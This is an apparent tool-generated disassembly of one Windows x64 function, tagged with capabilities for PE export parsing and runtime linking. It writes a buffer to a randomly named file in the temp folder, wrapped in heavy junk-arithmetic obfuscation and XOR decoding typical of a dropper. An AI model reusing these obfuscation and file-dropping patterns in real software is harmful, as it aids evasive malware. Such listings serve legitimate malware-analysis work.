Function at 0x14002f990
Capabilities:
Get common file path
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x2588
call fcn.14005c5f0
sub rsp, rax
mov rax, qword [0x14020e888]
xor rax, rsp
mov qword [rsp + 0x2570], rax
mov rax, qword [rsp + 0x25a0]
mov qword [rsp + 0x6e8], rax
mov rax, qword [rsp + 0x6e8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x6e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x6e8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x6e8]
lea rax, [rcx + rax + 0x108]
mov qword [rsp + 0x1538], rax
cmp qword [rsp + 0x6e8], 0
je 0x14002fa2d
cmp qword [rsp + 0xd0], 0
je 0x14002fa2d
cmp qword [rsp + 0x1538], 0
jne 0x14002fa34
xor al, al
jmp 0x140041fd9
mov dword [rsp + 0x4c0], 3
jmp 0x14002fa51
mov eax, dword [rsp + 0x4c0]
inc eax
mov dword [rsp + 0x4c0], eax
cmp dword [rsp + 0x4c0], 0x2d62
jae 0x14002faf5
mov ecx, 0xea60
call fcn.14005bfe4
mov qword [rsp + 0x15c0], rax
mov rax, qword [rsp + 0x15c0]
mov qword [rsp + 0x1520], rax
mov dword [rsp + 0x240], 0
jmp 0x14002faa1
mov eax, dword [rsp + 0x240]
inc eax
mov dword [rsp + 0x240], eax
cmp dword [rsp + 0x240], 0x2e54
jae 0x14002fad3
cmp dword [rsp + 0x240], 0x37
jne 0x14002faba
jmp 0x14002fad3
movsxd rax, dword [rsp + 0x240]
mov rcx, qword [rsp + 0x1520]
mov dword [rcx + rax*4], 0x1f91
jmp 0x14002fa91
mov rax, qword [rsp + 0x1520]
mov qword [rsp + 0x15c8], rax
mov rcx, qword [rsp + 0x15c8]
call fcn.14005bfdc
jmp 0x14002fa41
mov dword [rsp + 0x136c], 0x12
lea rdx, [rsp + 0x2370]
mov ecx, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor ecx, ecx
call fcn.140063db8
mov ecx, eax
call fcn.140062a74
movzx eax, byte [0x140079412]
mov byte [rsp + 0x2050], al
lea rax, [rsp + 0x2051]
mov rdi, rax
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
xor edx, edx
mov eax, dword [rsp + 0x136c]
mov ecx, 0x11
div ecx
mov eax, edx
mov dword [rsp + 0x1370], eax
mov dword [rsp + 0x4c4], 0
jmp 0x14002fb79
mov eax, dword [rsp + 0x4c4]
inc eax
mov dword [rsp + 0x4c4], eax
mov eax, dword [rsp + 0x1370]
cmp dword [rsp + 0x4c4], eax
jge 0x14002fc1e
call fcn.140062a48
cdqe
xor edx, edx
mov ecx, 0xd
div rcx
mov rax, rdx
mov dword [rsp + 0x1374], eax
movsxd rax, dword [rsp + 0x1374]
lea rcx, str.XAEESKTYKQCUMabcdefghijklmnopqrstuvwxyzSLAIDP
movzx eax, byte [rcx + rax]
mov byte [rsp + 0x1dc], al
mov byte [rsp + 0x1dd], 0
lea rax, [rsp + 0x2050]
mov qword [rsp + 0x600], rax
dec qword [rsp + 0x600]
inc qword [rsp + 0x600]
mov rax, qword [rsp + 0x600]
cmp byte [rax], 0
jne 0x14002fbe2
mov rax, qword [rsp + 0x600]
lea rcx, [rsp + 0x1dc]
xor edx, edx
movzx edi, byte [rcx + rdx]
mov byte [rax + rdx], dil
inc rdx
test dil, dil
jne 0x14002fc09
jmp 0x14002fb69
mov dword [rsp + 0x4c8], 2
jmp 0x14002fc3b
mov eax, dword [rsp + 0x4c8]
inc eax
mov dword [rsp + 0x4c8], eax
cmp dword [rsp + 0x4c8], 0x2de0
jae 0x14002fcdf
mov ecx, 0xea60
call fcn.14005bfe4
mov qword [rsp + 0x15d0], rax
mov rax, qword [rsp + 0x15d0]
mov qword [rsp + 0x1528], rax
mov dword [rsp + 0x244], 0
jmp 0x14002fc8b
mov eax, dword [rsp + 0x244]
inc eax
mov dword [rsp + 0x244], eax
cmp dword [rsp + 0x244], 0x31db
jae 0x14002fcbd
cmp dword [rsp + 0x244], 0x32
jne 0x14002fca4
jmp 0x14002fcbd
movsxd rax, dword [rsp + 0x244]
mov rcx, qword [rsp + 0x1528]
mov dword [rcx + rax*4], 0xde2
jmp 0x14002fc7b
mov rax, qword [rsp + 0x1528]
mov qword [rsp + 0x15d8], rax
mov rcx, qword [rsp + 0x15d8]
call fcn.14005bfdc
jmp 0x14002fc2b
lea rax, [rsp + 0x2370]
mov qword [rsp + 0x1500], rax
lea rax, [rsp + 0x2160]
mov qword [rsp + 0x6f0], rax
mov rax, qword [rsp + 0x6f0]
mov qword [rsp + 0x1b88], rax
mov rax, qword [rsp + 0x1500]
movzx eax, word [rax]
mov word [rsp + 0x1d8], ax
mov rax, qword [rsp + 0x6f0]
movzx ecx, word [rsp + 0x1d8]
mov word [rax], cx
mov rax, qword [rsp + 0x1500]
add rax, 2
mov qword [rsp + 0x1500], rax
mov rax, qword [rsp + 0x6f0]
add rax, 2
mov qword [rsp + 0x6f0], rax
cmp word [rsp + 0x1d8], 0
jne 0x14002fd0f
lea rax, [rsp + 0x2160]
mov qword [rsp + 0x608], rax
sub qword [rsp + 0x608], 2
add qword [rsp + 0x608], 2
mov rax, qword [rsp + 0x608]
cmp word [rax], 0
jne 0x14002fd81
mov rax, qword [rsp + 0x608]
lea rcx, [rsp + 0x2050]
xor edx, edx
movzx edi, word [rcx + rdx*2]
mov word [rax + rdx*2], di
inc rdx
test di, di
jne 0x14002fdaa
mov eax, 2
imul rax, rax, 0x103
mov qword [rsp + 0x1530], rax
cmp qword [rsp + 0x1530], 0x208
jae 0x14002fdde
jmp 0x14002fde3
call fcn.14005c344
xor eax, eax
mov rcx, qword [rsp + 0x1530]
mov word [rsp + rcx + 0x2160], ax
mov qword [rsp + 0x1508], 0
lea r8, [0x14009664c]
lea rdx, [rsp + 0x2160]
lea rcx, [rsp + 0x1508]
call fcn.140063790
mov dword [rsp + 0x15b8], eax
lea rax, [rsp + 0x1a8]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1a8]
call fcn.1400293c0
mov qword [rsp + 0x6f8], rax
mov rax, qword [rsp + 0x6f8]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x1400314c1
mov rax, qword [rsp + 0x6f8]
mov qword [rsp + 0x1f0], rax
mov dword [rsp + 0x68], 0
jmp 0x14002fe85
mov rax, qword [rsp + 0x6f8]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x6f8]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x148c], eax
mov eax, dword [rsp + 0x148c]
lea rcx, [0x14020e580]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x1640], rax
mov r8d, 0x9960
lea rdx, [0x140204bd0]
lea rcx, [0x14020fad0]
call qword [rsp + 0x1640]
mov r9, qword [rsp + 0x1508]
mov r8d, 0x9960
mov edx, 1
lea rcx, [0x140204bd0]
call fcn.140063d14
mov rcx, qword [rsp + 0x1508]
call fcn.14006390c
lea rax, [rsp + 0x19c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x19c]
call fcn.14002a920
mov qword [rsp + 0x700], rax
mov rax, qword [rsp + 0x700]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x140032be6
mov rax, qword [rsp + 0x700]
mov qword [rsp + 0x238], rax
mov dword [rsp + 0x54], 0
jmp 0x1400315aa
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
movsxd rax, dword [rsp + 0x54]
cmp rax, 1
jae 0x140032be6
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x1490], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x1490]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1494], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 3
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1494]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1498], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x1498]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14003197c
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401cd698]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x410], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x149c], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x149c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14a4], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x14a0], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x14a0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x14a4]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400318a3
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x14a8], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x14a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14ac], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x14ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14b0], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x14b0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400318a3
mov dword [rsp + 0x118], 0
jmp 0x140031765
cmp dword [rsp + 0x118], 0xf
jae 0x14003189e
cvtsi2sd xmm0, dword [rsp + 0x118]
movsd xmm1, qword [rsp + 0x410]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1648], xmm0
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1648]
ucomisd xmm1, xmm0
jp 0x1400317e0
jne 0x1400317e0
mov eax, dword [rsp + 0x118]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x410]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x410], xmm0
jmp 0x14003165d
cvtsi2sd xmm0, dword [rsp + 0x118]
movsd xmm1, qword [rsp + 0x410]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1650], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1650]
ucomisd xmm1, xmm0
jp 0x140031848
jne 0x140031848
mov eax, dword [rsp + 0x118]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x410]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x410], xmm0
jmp 0x14003185f
xor eax, eax
cmp eax, 1
je 0x14003185b
jmp 0x140031948
jmp 0x140031888
cvtsi2sd xmm0, dword [rsp + 0x118]
movsd xmm1, qword [rsp + 0x410]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4e4], eax
jmp 0x140031953
xor eax, eax
test eax, eax
je 0x140031894
jmp 0x1400318a3
jmp 0x14003165d
jmp 0x14003165d
xor eax, eax
cmp eax, 2
je 0x140031948
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x14b4], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x14b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14bc], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x14b8], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x14b8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x14bc]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x410]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4e4], eax
jmp 0x140031953
mov dword [rsp + 0x4e4], 8
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x238]
mov edx, dword [rsp + 0x4e4]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov dword [rdx + rcx*4], eax
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x14c0], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x14c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14c8], eax
call fcn.14002d5f0
movsx eax, al
shl eax, 2
mov dword [rsp + 0x14c4], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x14c4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x14c8]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14003281e
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x14cc], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x14cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14d0], eax
call fcn.14002d600
movsx eax, al
shl eax, 3
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x14d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14d4], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x14d4]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140031dbd
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401cd690]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x418], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x14d8], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x14d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14e0], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x14dc], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x14dc]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x14e0]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140031ce4
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x14e4], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x14e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14e8], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x14e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14ec], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x14ec]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140031ce4
mov dword [rsp + 0x11c], 0
jmp 0x140031ba6
cmp dword [rsp + 0x11c], 0xf
jae 0x140031cdf
cvtsi2sd xmm0, dword [rsp + 0x11c]
movsd xmm1, qword [rsp + 0x418]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1658], xmm0
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1658]
ucomisd xmm1, xmm0
jp 0x140031c21
jne 0x140031c21
mov eax, dword [rsp + 0x11c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x418]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x418], xmm0
jmp 0x140031a9e
cvtsi2sd xmm0, dword [rsp + 0x11c]
movsd xmm1, qword [rsp + 0x418]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1660], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1660]
ucomisd xmm1, xmm0
jp 0x140031c89
jne 0x140031c89
mov eax, dword [rsp + 0x11c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x418]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x418], xmm0
jmp 0x140031ca0
xor eax, eax
cmp eax, 1
je 0x140031c9c
jmp 0x140031d89
jmp 0x140031cc9
cvtsi2sd xmm0, dword [rsp + 0x11c]
movsd xmm1, qword [rsp + 0x418]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4e8], eax
jmp 0x140031d94
xor eax, eax
test eax, eax
je 0x140031cd5
jmp 0x140031ce4
jmp 0x140031a9e
jmp 0x140031a9e
xor eax, eax
cmp eax, 2
je 0x140031d89
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x14f0], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x14f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14f8], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x14f4], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x14f4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x14f8]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x418]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4e8], eax
jmp 0x140031d94
mov dword [rsp + 0x4e8], 8
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x238]
mov edx, dword [rsp + 0x4e8]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov dword [rdx + rcx*4], eax
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x14fc], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x14fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1510], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 9
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1510]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x780], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x780]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140032180
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401cd688]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x420], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x784], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x784]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x78c], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x788], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x788]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x78c]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400320a7
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x790], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x790]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x794], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x794]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x798], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x798]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400320a7
mov dword [rsp + 0x120], 0
jmp 0x140031f69
cmp dword [rsp + 0x120], 0xf
jae 0x1400320a2
cvtsi2sd xmm0, dword [rsp + 0x120]
movsd xmm1, qword [rsp + 0x420]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1668], xmm0
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1668]
ucomisd xmm1, xmm0
jp 0x140031fe4
jne 0x140031fe4
mov eax, dword [rsp + 0x120]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x420]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x420], xmm0
jmp 0x140031e61
cvtsi2sd xmm0, dword [rsp + 0x120]
movsd xmm1, qword [rsp + 0x420]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1670], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1670]
ucomisd xmm1, xmm0
jp 0x14003204c
jne 0x14003204c
mov eax, dword [rsp + 0x120]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x420]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x420], xmm0
jmp 0x140032063
xor eax, eax
cmp eax, 1
je 0x14003205f
jmp 0x14003214c
jmp 0x14003208c
cvtsi2sd xmm0, dword [rsp + 0x120]
movsd xmm1, qword [rsp + 0x420]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4ec], eax
jmp 0x140032157
xor eax, eax
test eax, eax
je 0x140032098
jmp 0x1400320a7
jmp 0x140031e61
jmp 0x140031e61
xor eax, eax
cmp eax, 2
je 0x14003214c
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x79c], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x79c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a4], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x7a0], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x7a0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7a4]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x420]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4ec], eax
jmp 0x140032157
mov dword [rsp + 0x4ec], 8
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x238]
mov edx, dword [rsp + 0x4ec]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov dword [rdx + rcx*4], eax
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x54]
sub eax, 0x79
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x428], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x7a8], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x7a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b0], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x7ac], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x7ac]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7b0]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400323fd
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x7b4], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x7b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b8], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x7b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7bc], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x7bc]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400323fd
mov dword [rsp + 0x124], 0
jmp 0x1400322bf
cmp dword [rsp + 0x124], 0xf
jae 0x1400323f8
cvtsi2sd xmm0, dword [rsp + 0x124]
movsd xmm1, qword [rsp + 0x428]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1678], xmm0
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1678]
ucomisd xmm1, xmm0
jp 0x14003233a
jne 0x14003233a
mov eax, dword [rsp + 0x124]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x428]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x428], xmm0
jmp 0x1400321b7
cvtsi2sd xmm0, dword [rsp + 0x124]
movsd xmm1, qword [rsp + 0x428]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1680], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1680]
ucomisd xmm1, xmm0
jp 0x1400323a2
jne 0x1400323a2
mov eax, dword [rsp + 0x124]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x428]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x428], xmm0
jmp 0x1400323b9
xor eax, eax
cmp eax, 1
clc
invalid
je 0x1400323b5
jmp 0x1400324a2
jmp 0x1400323e2
cvtsi2sd xmm0, dword [rsp + 0x124]
movsd xmm1, qword [rsp + 0x428]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f0], eax
jmp 0x1400324ad
xor eax, eax
test eax, eax
je 0x1400323ee
jmp 0x1400323fd
jmp 0x1400321b7
jmp 0x1400321b7
xor eax, eax
cmp eax, 2
je 0x1400324a2
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x7c0], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x7c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c8], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x7c4], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x7c4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7c8]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x428]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f0], eax
jmp 0x1400324ad
mov dword [rsp + 0x4f0], 8
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x54]
sub eax, 0x79
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x430], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x7cc], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x7cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d4], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x7d0], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x7d0]
imul ecx, eax
